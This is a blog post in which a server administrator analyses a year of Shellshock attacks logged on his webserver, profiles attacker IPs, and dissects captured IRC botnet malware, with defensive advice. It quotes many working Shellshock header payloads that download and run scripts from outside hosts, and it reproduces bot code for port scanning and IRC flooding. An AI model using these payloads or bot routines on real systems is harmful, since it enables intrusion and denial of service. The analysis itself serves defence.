Normally I follow security issues with a mix of schadenfreude and smugness. Both at home and at work I run my own, cut-down linux system, and most security panics simply don't apply to me, because I'm not running stuff like java, gnome, and god-knows-what that most people run and that's full of issues. However, in September 2014 a very serious bug (the 'shellshock' bug) was found in the standard unix shell, 'bash'. Bash, or the 'Borne Again Shell' (it was created as a replacement for the 'Borne Shell' written by Stephen Borne) is a standard component of unix systems like linux, freebsd and Mac OSX. It's basically a program that starts other programs, and which can process scripts in which programs are linked together to create a kind of meta-program. Unix systems are built around the idea of a lot of small, simple programs that 'do one thing well' which can be scripted together to create a larger program that does something more interesting.

Unfortunately the bash shell is so popular that almost any unix system out there (and even some windows ones running cygwin and other unix emulators) is likely to be running it. This points to a problem with computer security that few people ever talk about: the problem of monocultures. Anyone who develops a program that does something, secretly dreams that their program will eventually become dominant, or perhaps even become the only program that people use to do that thing. Bill Gates dreamt of a world in which every computer on the planet was running windows, and even in the open source community people seek to 'lock in' users to their program. There's also a drive towards standardization because it means that educational establishments can teach one thing, and businesses can expect to find people schooled in that one thing. Unfortuantely all this means that hackers know they only have to hack one thing.

Incidently, this situation has been getting worse in linux recently, where there's a clear drive to 'standardized' components like pulseaudio, d-bus, gnome, and systemd. systemd, for instance, takes over more and more system functions, and more and more things have to integrate with it, and the aim is eventually to force every linux user to be running systemd. systemd is therefore tomorrow's security disaster waiting to happen.

So shellshock was something for me to panic about too. Fortunately I don't have much that's exposed to the internet, but I did have some internet-facing webservers. Once I'd patched my systems to remove the vulnerability I began to see attack attempts using the bug. I run my own webserver software and it has an 'events' framework that allows me to trigger actions on the basis of certain aspects of the web requests, so I started using this to capture and log shellshock attempts against one of my webservers. In the year since then I've logged all the shellshock attempts I've seen, and here are my conclusions.

First off, I'm surprised at how few attackers there are. Compared to brute-force login attempts against my open ssh servers or port scans, shellshock attempts seem rare. In a year I've seen less than a hundred IP addresses try this. This is surprising given the ease of the attack (in terms of creating the script to do the attack). Perhaps it's rarely successful, and so only a few people try?

Attacker IP Addresses

Let's have a look at the IP addresses of attackers. Broken down by region we get:

Region	No of IPs
unknown	1
lacnic:BR	1
afrinic:EG	1
apnic:ID	1
apnic:IN	1
apnic:KR	1
apnic:TH	1
lacnic:AR	1
lacnic:MX	1
ripencc:ES	1
ripencc:IT	1
ripencc:NL	1
ripencc:SA	1
ripencc:TR	1
ripencc:UA	1
apnic:JP	2
apnic:MY	2
arin:CA	2
ripencc:CH	2
ripencc:DE	2
ripencc:FR	2
ripencc:GB	2
ripencc:RO	2
apnic:CN	10
arin:US	12

Not a surprise to see China and the USA at the top, but where's Russia? Why does India have only one entry? One would expect China to be high on the list, because over 1 billion people live there, a seventh of the world's population, so all other things being equal, we'd expect to see a lot of attacks from there. But India also has over 1 billion people, another seventh of the planet, so why do they score so low? The USA has only 300 million people, but it's a very wired country with a lot of internet infrastructure, so that's probably why a lot of attacks come from there, but these days I'd expect India to also be pretty wired. Perhaps it's just the case that I've not had enough attacks to be statisically significant, but I do feel there's something to be explained here. Sadly Africa's single attacker in Egypt is no surprise, the continent is still underdeveloped compared to elsewhere, I suspect.

Obviously, there's something dishonest in the way that Europe is broken up into individual countries, but the USA, a continent sized country, is treated as a single block. If we compress the regions into continents we see that Asia Pacific comes top with 18 IPs, Europe second with 16, and North America third with 14.

However, this points to something people can do to protect their servers. Perhaps your webserver needs to talk to all the world, but does your mailserver? What about ssh login? In my case I've got intranet servers that only need to service company staff, so are all in the UK. So you can lock access down using geolocation. People tend to mock this idea, because hackers can easily invest in a vpn or use a compromised machine in your locality to pretend that they're local. However, this only applies to someone who's coming after you in particular. If they've even made the effort to figure out which country your IP address is in, then they're targetting you in particular. In this case, unless your a fairly large company with a professional security department, you're probably stuffed. The attacker will have more budget, more manpower, more time, more experience, better infrastructure and better tools than you can ever hope to have. If they want in, they'll find a way. However, a lot of attackers are just drive-by script kiddies rattling your door. They are simply going to try and move onto the next target. Thus, if you don't need to communicate with China and India using a certain protocol, then if you block China and India, you've blocked a third of the world's population. Can you block Russia? Africa? The Middle East? The USA? Europe? The more you can, the lower your attack surface will be. Unfortunately you probably have to allow HTTP to everywhere, but what about mail? What about SSH? You could lock those down to just your own country.

Anyways, back to the IP addresses. Most of them seem to be dynamic addresses, residential addresses handed out by ISPs. One of them is even registered to a hotel in Hawiaii. There's not much point in blocking them long-term. However, there may be some value to blocking them in the short-term, but let's go into the shellshock attacks in more depth to see why.

Shellshock 1st-Stage Attack

Shellshock is a particularly easy bug to leverage. All that's needed is to put the pattern '() { :;}' in front of a bunch of shell commands, and somehow pass this to the shell. The shell uses '() {' to indicate that the following string is a function, (a sequence of commands), and will thus get confused and run the commands.

Webservers often run programs to produce dyanmic webpages and the like, so there's a chance they'll start a shell when doing that, as the default 'system' command for starting other commands invokes a shell, which then runs the requested program. The web protocol, HTTP, consists of a line that asks for a document, followed by a number of 'headers' that pass extra information to the webserver. Something like:

GET /Users/MyDocument
Host: www.somewhere.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1

Attackers try putting a shellshock string in one of the 'Header' fields, like this:

GET /Users/MyDocument
Host: www.somewhere.com
User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/va.pl -O /tmp/va.pl;curl -O /tmp/va.pl http://202.191.121.230/va.pl;perl /tmp/va.pl;rm -rf /tmp/va.pl*");'

Interestingly, almost all the attacks I saw bore a family resemblance, here are some example shellshock strings

 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http//luxsocks.ru ; wget https://luxsocks.ru --no-check-certificate ; curl http//luxsocks.ru// ; curl -k https://luxsocks.ru ; lwp-download http://luxsocks.ru ; GET http://luxsocks.ru ; lynx http://luxsocks.ru ; wget http://174.122.42.230/luxx ; curl http://174.122.42.230/luxx ; fetch http://174.22.42.230/luxx ; lwp-download http://174.122.42.230/luxx ; GET http://174.122.42.230/luxx ; lynx http://174.122.42.230/luxx");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://190.248.133.186/friend.pl -O /tmp/friend.pl;curl -O /tmp/friend.pl http://190.248.133.186/friend.pl;perl /tmp/friend.pl;rm -rf /tmp/friend.pl*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/cox.pl -O /tmp/cox.pl;curl -O /tmp/cox.pl http://202.191.121.230/cox.pl;perl /tmp/cox.pl;rm -rf /tmp/cox.pl*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/stufa.pl -O /tmp/stufa.pl;curl -O /tmp/stufa.pl http://202.191.121.230/stufa.pl;perl /tmp/stufa.pl;rm -rf /tmp/stufa.pl*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://216.237.114.58/icons/info.log -O /tmp/info.log;curl -O /tmp/info.log http://216.237.114.58/icons/info.log;perl /tmp/info.log;rm -rf /tmp/info.log*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://88.198.96.10/wget ; curl http://88.198.96.10/curl ; fetch http://88.198.96.10/fetch ; lwp-download http://88.198.96.10/lwp-download ; GET http://88.198.96.10/GET ; lynx http://88.198.96.10/lynx ");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://91.142.209.68/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://91.142.209.68/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://allproutah.com/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://allproutah.com/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://malabes.net/a/b3.txt -O /tmp/b3.txt;curl -O /tmp/b3.txt http://malabes.net/b3.txt;perl /tmp/b3.txt;rm -rf /tmp/b3.txt*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://marjina.net/va.pl -O /tmp/va.pl;curl -O /tmp/va.pl http://marjina.net/va.pl;perl /tmp/va.pl;rm -rf /tmp/va.pl*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://pinkfashion.dk/log.c -O /tmp/log.c;curl -O http://pinkfashion.dk/log.tgz /tmp/log.tgz ;perl /tmp/log.c ;perl /tmp/log.tgz;rm -rf /tmp/log.c && /tmp/log.tgz*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://vnc.host.sk/sys.c -O /tmp/sys.c;curl -O /tmp/sys.c http://vnc.host.sk/sys.c;perl /tmp/sys.c;rm -rf /tmp/sys.c*");'
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");

This looks to me like there's some kind of template doing the rounds, where attackers use a standard 'kit' and make changes to fit their needs and infrastructure. Some of them make mistakes, for instance, if you look through the above shellshocks, you'll see that most of them download a script from a URL, then run the script, then delete it when done. But a couple only download the script, and forget to run it. Perhaps there's some 'next stage' of the attack that runs the downloaded script, but I've got a feeling that this is just an error on the attackers behalf.

So, a lot of these shellshock attacks use a similar methodology. Looking at these examples we can see that certain strings and system-commands/ programs are used time and again. This table shows the number of occurances of these strings in a *unique* shellshock string (so, not in all shellshock attempts, only per unique string starting with '() {' ).

string	No of Occurances (out of 95)
XSUCCESS	73
wget	78
curl	74
perl	73
fetch	40
lwp-download	40
GET	35
lynx	30

So a lot of attackers seem to be using the same approach: Start up the perl scripting language, and try using commonly available download tools to down load a script, then run the script. They usually try multiple download tools in the hope that one of them will be installed on the target system. The use of perl seems a little odd: you don't need perl to do any of this stuff, you can do it with the shell alone, and if perl isn't installed on the target system, the attack will fail. However, most webserver systems will have perl installed as it's a popular language for webscripting. They'll probably also have python, ruby, tcl, php, and lua installed. If you can do without scripting languges, it's a really good idea to remove them from your system. If you need perl, could you move it to some other location than /usr/bin/perl? This might mean changing the first line in your perl scripts to refernce the new location of perl, but it would foil the majority of these shellshock attacks, because they access perl directly. Consider your PATH environment variable too, as this is used to 'find' perl if a full path is not specified. Perhaps the webserver user should have a PATH set that doesn't include the location of the perl executable?

Similarly, most attackers are using 'downloader' utilities like curl, fetch and wget to download the next stage of the attack. Do you need these utils installed on your webserver? If you don't have them, many of these attacks will fail, though the attacker will still be notified that your system is vulnerable to shellshock (as this is done in the perl script before download is attempted).

A few attacks did not use perl, but these mostly did use wget, curl, and the like

() { :; }; /usr/bin/wget -qO- http://r0r.me/r/x.sh | sh
() { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://121.207.230.74:911/java -O /tmp/China.Z-anya >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-anya >> /tmp/Run.sh;echo /tmp/China.Z-anya >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"
{ :;}; /bin/bash -c "ping 212.47.238.143 -c 1"

The final one of these is unusual in that it only uses ping, no doubt to inform the attacker's system that a vulnerable host has been found. It doesn't continue an attack beyond that. But all the others use the same techniques of downloading files with wget in order to continue the attack.

If you don't need perl, curl, wget, and uncle-Tom-Cobbley-and-All installed, then get rid of them. Even if you're patched from shellshock it's still worth doing because there'll be another scare along in a while. Better still, here's an idea to create a poor-man's IDS: create fake versions of these programs which are actually scripts that send you a warning when they are run. This would mean that you'd know if anyone attempted an attack like this on your systems. If you do this on your internal systems, then you'll get a warning if there's someone in your organization looking to expand their reach to other systems. This could be very vital information. If you do this, consider creating a script that triggers your warnings every week or so, in order to be sure they are still working.

With most attackers I got a great many repeats of the same attack, which struck me as odd. Surely, when you've shellshocked a system once, and it didn't work, you don't need to do it again and again, it's not going to suddenly start working? But then I realized that the attacker was checking for certain files on my webserver, probably vulnerable scripts. These files would have names like:

Presumably these are exploitable scripts that the attacker can use if they find them. Again, you could create fake versions of these to use as tripwires if someone is attacking one of your systems. And this brings me to my earlier point about blocking IPs in the short term. You can use your tripwire scripts to insert firewalls rules to block an IP address that tries to access one. You can clear these temporary rules at the end of the day, or of the week. This will certainly slow attackers up, and I would think will send most of them elsewhere.

You can find a .csv listing these URLs that attackers check for on my servers here

The next step of most attacks involved downloading a further attack script, so I set up a downloader of my own to grab these. This proved very hit-and-miss. Sometimes the attacker seemed to know something was up, and refused to deliver the script. Likely they were checking the user-agent of the downloader was one they expected. Still, I got a few scripts.

Captured 2nd-Stage attack scripts

One of my captures was a tar file that, when unpacked, included a password list, a couple of shell scripts, and an ELF executable that I decided I wasn't stupid enough to run even on my cut-down linux system. The other captures were all perl scripts. In fact they were all variants on two perl scripts. The tarred ELF executable proved to be 'SSH bruteforcer'. This gave me a complete haul of:

SSH bruteforcer - by lizard

This one was a tarred file containing an executable, a password list, and some shell scripts. The password list consisted of:

I recognize the 'pi raspberry' combination as being the default login for a raspberry pi, and the 'PlcmSpIp' case is apparently the login that Polycom IP phones use to download their config from FTP servers. Clearly this is a password list used for scanning vulnerable devices. Presumably the executable file is a scanning app that tries these passwords against various services on targetted machines. Indeed, running the 'strings' command, which finds human-readable text within machine-code files, reveals the program name 'SSH bruteforcer - by lizard'.

One of the shell-scripts that came with the executable downloads a HUGE list of IP addresses, these are presumably the victims to be attacked/scanned.

Both appeared, at first, to be written by Portugese speakers. Later I realized that DDoS Perl IrcBot is a heavily modified version of ShellBOT, with quite a bit of the code being cut-and-pasted, and the variable names still being the same (thus in Portugese) but it seems PitBULL is a native English speaker.

ShellBOT by: devil__

Anyways, ShellBOT sends IRC commands to a server at an IP address that's hardwired into the script. Presumably this IP belongs to a public IRC server. Shellbot claims to be 'mIRC v6.16 Khaled Mardam-Bey' when it connects to the IRC server. It supports the following commands:

# Comandos:
#           @oldpack   ;
#           @udp   ;
#           @fullportscan   ;
#           @conback  
#           @download  ;
#           !estatisticas ;
#           !sair para finalizar o bot;
#           !novonick para trocar o nick do bot por um novo aleatorio;
#           !entra  
#           !sai  ;
#           !pacotes 
#           @info
#     @xpl 
#     @sendmail

basically the attacker sends it IRC commands, and it performs various actions. In the version I was looking at though, the 'download' function had been commented out, and there was an undocumented 'portscan' function which would scan the following ports:

  my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");

'fullportscan' demands a start and end port, so this 'portscan' option may have been added by a lazy attacker who was also too lazy to update the documentation at the top of the script.

The 'udp' command seems to just pump UDP packets containing random numbers at a host, so likely it's a Denial of Service feature.

The 'xpl' command reports various system information, including uptime, installed memory, hostname, OS, and the linux kernel version, reporting it with lines like:

 if ($kernel =~ /2.4.19/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, newlocal, w00t, brkm brk2"); goto downloads; }
 if ($kernel =~ /2.4.20/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, kmod2, newlocal, w00t, ptrace, ptrace-kmod, brk, brk2"); goto downloads; }
 if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }

Not sure what all this 'raptor' 'w00t' 'h00lyshit' stuff is, I think these names must represent features of a particular kernel. Probably they're vulnerabilities.

The 'conback' command connects to the specified host and port, and opens a shell, so the attacker can type shell commands straight into the victim system. Interestingly it has the ability to detect it's running on a windows system and launch cmd.exe.

In addition to all this shellbot had the ability to send IRC commands to the IRC server on behalf of it's owner, so presumably the bot could take actions on the owner's behalf withouth it being obvious who that bot belonged to.

DDoS Perl IrcBot v1.0 / 2013 By PlTBuLL

This is visibly a modified version of the ShellBOT, with some code clearly being cut and pasted. However, it's been tidyied up and enhanced. It has a much prettier 'manual' at the top of the program:

######################################################################################################################
######################################################################################################################
##  DDoS Perl IrcBot v1.0 / 2013 By PlTBuLL                    ## [ Help ] ###########################################
##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
##        Teste on every system with PERL instlled             ##  !u @system                                       ##
##                                                             ##  !u @version                                      ##
##     This is a free program used on your own risk.           ##  !u @channel                                      ##
##        Created for educational purpose only.                ##  !u @flood                                        ##
## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##
######################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
######################################################################################################################
##  !u @join <#channel>          ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
##  !u !quit                     ##                                           ##                                    ##
##  !u !uaw                      ##                                           ##                                    ##
##  !u @die                      ##                                           ##                                    ##
##                               ##                                           ##                                    ##
######################################################################################################################
######################################################################################################################

It also has an online help feature: the commands in the 'help' box above, like '@system' '@flood' will return help pages to the user/attacker ('system' and 'version' actually return information rather than help as such).

Now, instead of always claiming to be a particular version of mIRC it picks a version randomly from a list of:

It also contains a big hardcoded list of usernames, from which it will pick one to use as its 'IRC nickname'. This was more simply autogenerated in ShellBOT, which I suspect led to IRC administrators just blocking usernames that matched a certain pattern.

DDoS has the same 'portscan feature' as ShellBOT, with the same Portugese variable names: 'portas' for 'ports' and 'abertas' for 'openings' (open ports) but with a much extended list of ports to scan:

if ($funcarg =~ /^portscan (.*)/) {
  my $hostip="$1";
  my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  my (@aberta, %porta_banner);

  sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [PortScan]^B ^C9,1Scanning for open ports on ^C12".$1." ^C9,1started. ^C");
  foreach my $porta (@portas)  {
    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
    if ($scansock) {
      push (@aberta, $porta);
      $scansock->close;
    }
  }
  if (@aberta) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [PortScan]^B ^C9,1Open ports found: ^C12@aberta ^C");
    } else {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [PortScan]^B ^C9,1No open ports found. ^C");
  }

As it's name would suggest DDoS bot is more focused on hosing people with packets, and has multiple features to do this over TCP, UDP, HTTP and IRC. The IRC flood has three versions: ctcpflood basically sends ten PING and VERSION requests to a targetted user, msgflood and noticeflood send some form of long, malformed message:

if ($funcarg =~ /^ctcpflood (.*)/) {
    my $target = "$1";
  sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [IRCFlood]^B ^C9,1CTCP Flooding: ^C12".$target." ^C");
  for (1..10) {
  sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  }
}
##############
if ($funcarg =~ /^msgflood (.*)/) {
    my $target = "$1";
  sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [IRCFlood]^B ^C9,1MSG Flooding: ^C12".$target." ^C");
    sendraw($IRC_cur_socket, "PRIVMSG ".$target." :^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.);^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O");
}
##############
if ($funcarg =~ /^noticeflood (.*)/) {
    my $target = "$1";
  sendraw($IRC_cur_socket, "PRIVMSG $printl :^B^C4,1 [IRCFlood]^B ^C9,1NOTICE Flooding: ^C12".$target." ^C");
  for (1..2){
  sendraw($IRC_cur_socket, "NOTICE ".$target." :^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O^C8,7.^C..^C9,6.^C...^O^C0,15.^C..^C1,16.^C..^C2,13.^C..^C3,12.^C..^C4,11.^C..^C5,10.^C..^C6,9.^C..^C7,8.^C..^O");
  }

So, that's the standard of shellshock attack as far as I've seen it. Let's be honest, none of this is exactly stuxnet, is it? This is kids knocking over webservers, which are likely business assets, in order to DDoS their friends to maintain control of their IRC channels and gain an advantage in online gaming. But this is the world we live in now, and while I see many people worrying about how they're going to defend against nation-state actors and the mafia, I'm pretty convinced that these kids are having success with pretty low-level and noisy methods. The recent Talk Talk breach, for instance, appears to have been carried out by a gang of teenagers, and Talk Talk is an ISP, the very people you'd expect to be hot on security.